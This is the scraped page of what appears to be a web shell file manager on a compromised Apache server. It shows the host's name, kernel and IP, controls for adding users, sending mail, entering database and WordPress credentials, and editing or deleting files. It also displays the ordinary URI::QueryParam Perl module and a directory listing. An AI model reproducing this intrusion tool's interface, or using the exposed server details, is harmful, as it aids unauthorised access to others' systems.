System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
perl5
/
URI
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
QueryParam.pm
package URI::QueryParam; use strict; use warnings; our $VERSION = '1.73'; $VERSION = eval $VERSION; sub URI::_query::query_param { my $self = shift; my @old = $self->query_form; if (@_ == 0) { # get keys my (%seen, $i); return grep !($i++ % 2 || $seen{$_}++), @old; } my $key = shift; my @i = grep $_ % 2 == 0 && $old[$_] eq $key, 0 .. $#old; if (@_) { my @new = @old; my @new_i = @i; my @vals = map { ref($_) eq 'ARRAY' ? @$_ : $_ } @_; while (@new_i > @vals) { splice @new, pop @new_i, 2; } if (@vals > @new_i) { my $i = @new_i ? $new_i[-1] + 2 : @new; my @splice = splice @vals, @new_i, @vals - @new_i; splice @new, $i, 0, map { $key => $_ } @splice; } if (@vals) { #print "SET $new_i[0]\n"; @new[ map $_ + 1, @new_i ] = @vals; } $self->query_form(\@new); } return wantarray ? @old[map $_+1, @i] : @i ? $old[$i[0]+1] : undef; } sub URI::_query::query_param_append { my $self = shift; my $key = shift; my @vals = map { ref $_ eq 'ARRAY' ? @$_ : $_ } @_; $self->query_form($self->query_form, $key => \@vals); # XXX return; } sub URI::_query::query_param_delete { my $self = shift; my $key = shift; my @old = $self->query_form; my @vals; for (my $i = @old - 2; $i >= 0; $i -= 2) { next if $old[$i] ne $key; push(@vals, (splice(@old, $i, 2))[1]); } $self->query_form(\@old) if @vals; return wantarray ? reverse @vals : $vals[-1]; } sub URI::_query::query_form_hash { my $self = shift; my @old = $self->query_form; if (@_) { $self->query_form(@_ == 1 ? %{shift(@_)} : @_); } my %hash; while (my($k, $v) = splice(@old, 0, 2)) { if (exists $hash{$k}) { for ($hash{$k}) { $_ = [$_] unless ref($_) eq "ARRAY"; push(@$_, $v); } } else { $hash{$k} = $v; } } return \%hash; } 1; __END__ =head1 NAME URI::QueryParam - Additional query methods for URIs =head1 SYNOPSIS use URI; use URI::QueryParam; $u = URI->new("", "http"); $u->query_param(foo => 1, 2, 3); print $u->query; # prints foo=1&foo=2&foo=3 for my $key ($u->query_param) { print "$key: ", join(", ", $u->query_param($key)), "\n"; } =head1 DESCRIPTION Loading the C<URI::QueryParam> module adds some extra methods to URIs that support query methods. These methods provide an alternative interface to the $u->query_form data. The query_param_* methods have deliberately been made identical to the interface of the corresponding C<CGI.pm> methods. The following additional methods are made available: =over =item @keys = $u->query_param =item @values = $u->query_param( $key ) =item $first_value = $u->query_param( $key ) =item $u->query_param( $key, $value,... ) If $u->query_param is called with no arguments, it returns all the distinct parameter keys of the URI. In a scalar context it returns the number of distinct keys. When a $key argument is given, the method returns the parameter values with the given key. In a scalar context, only the first parameter value is returned. If additional arguments are given, they are used to update successive parameters with the given key. If any of the values provided are array references, then the array is dereferenced to get the actual values. Please note that you can supply multiple values to this method, but you cannot supply multiple keys. Do this: $uri->query_param( widget_id => 1, 5, 9 ); Do NOT do this: $uri->query_param( widget_id => 1, frobnicator_id => 99 ); =item $u->query_param_append($key, $value,...) Adds new parameters with the given key without touching any old parameters with the same key. It can be explained as a more efficient version of: $u->query_param($key, $u->query_param($key), $value,...); One difference is that this expression would return the old values of $key, whereas the query_param_append() method does not. =item @values = $u->query_param_delete($key) =item $first_value = $u->query_param_delete($key) Deletes all key/value pairs with the given key. The old values are returned. In a scalar context, only the first value is returned. Using the query_param_delete() method is slightly more efficient than the equivalent: $u->query_param($key, []); =item $hashref = $u->query_form_hash =item $u->query_form_hash( \%new_form ) Returns a reference to a hash that represents the query form's key/value pairs. If a key occurs multiple times, then the hash value becomes an array reference. Note that sequence information is lost. This means that: $u->query_form_hash($u->query_form_hash); is not necessarily a no-op, as it may reorder the key/value pairs. The values returned by the query_param() method should stay the same though. =back =head1 SEE ALSO L<URI>, L<CGI> =head1 COPYRIGHT Copyright 2002 Gisle Aas. =cut
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-03-13 04:36:40
..
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
file
DIR
-
drwxr-xr-x
2024-03-13 04:36:40
urn
DIR
-
drwxr-xr-x
2024-03-13 04:36:40
Escape.pm
text/plain
6.9 KB
-rw-r--r--
2018-01-09 06:42:55
Heuristic.pm
text/plain
6.37 KB
-rw-r--r--
2018-01-09 06:42:55
IRI.pm
text/plain
820 B
-rw-r--r--
2018-01-09 06:42:55
QueryParam.pm
text/plain
4.77 KB
-rw-r--r--
2018-01-09 06:42:55
Split.pm
text/plain
2.32 KB
-rw-r--r--
2018-01-09 06:42:55
URL.pm
text/plain
5.36 KB
-rw-r--r--
2018-01-09 06:42:55
WithBase.pm
text/plain
3.77 KB
-rw-r--r--
2018-01-09 06:42:55
_foreign.pm
text/plain
133 B
-rw-r--r--
2018-01-09 06:42:55
_generic.pm
text/plain
5.71 KB
-rw-r--r--
2018-01-09 06:42:55
_idna.pm
text/plain
2.06 KB
-rw-r--r--
2018-01-09 06:42:55
_ldap.pm
text/plain
3.2 KB
-rw-r--r--
2018-01-09 06:42:55
_login.pm
text/plain
257 B
-rw-r--r--
2018-01-09 06:42:55
_punycode.pm
text/plain
5.52 KB
-rw-r--r--
2018-01-09 06:42:55
_query.pm
text/plain
2.5 KB
-rw-r--r--
2018-01-09 06:42:55
_segment.pm
text/plain
442 B
-rw-r--r--
2018-01-09 06:42:55
_server.pm
text/plain
3.66 KB
-rw-r--r--
2018-01-09 06:42:55
_userpass.pm
text/plain
1.04 KB
-rw-r--r--
2018-01-09 06:42:55
data.pm
text/plain
3.34 KB
-rw-r--r--
2018-01-09 06:42:55
file.pm
text/plain
9.53 KB
-rw-r--r--
2018-01-09 06:42:55
ftp.pm
text/plain
1.06 KB
-rw-r--r--
2018-01-09 06:42:55
gopher.pm
text/plain
2.4 KB
-rw-r--r--
2018-01-09 06:42:55
http.pm
text/plain
451 B
-rw-r--r--
2018-01-09 06:42:55
https.pm
text/plain
170 B
-rw-r--r--
2018-01-09 06:42:55
ldap.pm
text/plain
2.88 KB
-rw-r--r--
2018-01-09 06:42:55
ldapi.pm
text/plain
467 B
-rw-r--r--
2018-01-09 06:42:55
ldaps.pm
text/plain
170 B
-rw-r--r--
2018-01-09 06:42:55
mailto.pm
text/plain
1.27 KB
-rw-r--r--
2018-01-09 06:42:55
mms.pm
text/plain
151 B
-rw-r--r--
2018-01-09 06:42:55
news.pm
text/plain
1.45 KB
-rw-r--r--
2018-01-09 06:42:55
nntp.pm
text/plain
153 B
-rw-r--r--
2018-01-09 06:42:55
pop.pm
text/plain
1.2 KB
-rw-r--r--
2018-01-09 06:42:55
rlogin.pm
text/plain
155 B
-rw-r--r--
2018-01-09 06:42:55
rsync.pm
text/plain
233 B
-rw-r--r--
2018-01-09 06:42:55
rtsp.pm
text/plain
151 B
-rw-r--r--
2018-01-09 06:42:55
rtspu.pm
text/plain
152 B
-rw-r--r--
2018-01-09 06:42:55
sftp.pm
text/plain
124 B
-rw-r--r--
2018-01-09 06:42:55
sip.pm
text/plain
1.69 KB
-rw-r--r--
2018-01-09 06:42:55
sips.pm
text/plain
169 B
-rw-r--r--
2018-01-09 06:42:55
snews.pm
text/plain
198 B
-rw-r--r--
2018-01-09 06:42:55
ssh.pm
text/plain
201 B
-rw-r--r--
2018-01-09 06:42:55
telnet.pm
text/plain
154 B
-rw-r--r--
2018-01-09 06:42:55
tn3270.pm
text/plain
154 B
-rw-r--r--
2018-01-09 06:42:55
urn.pm
text/plain
2.15 KB
-rw-r--r--
2018-01-09 06:42:55
~ ACUPOFTEA - mail.ontime-ae.com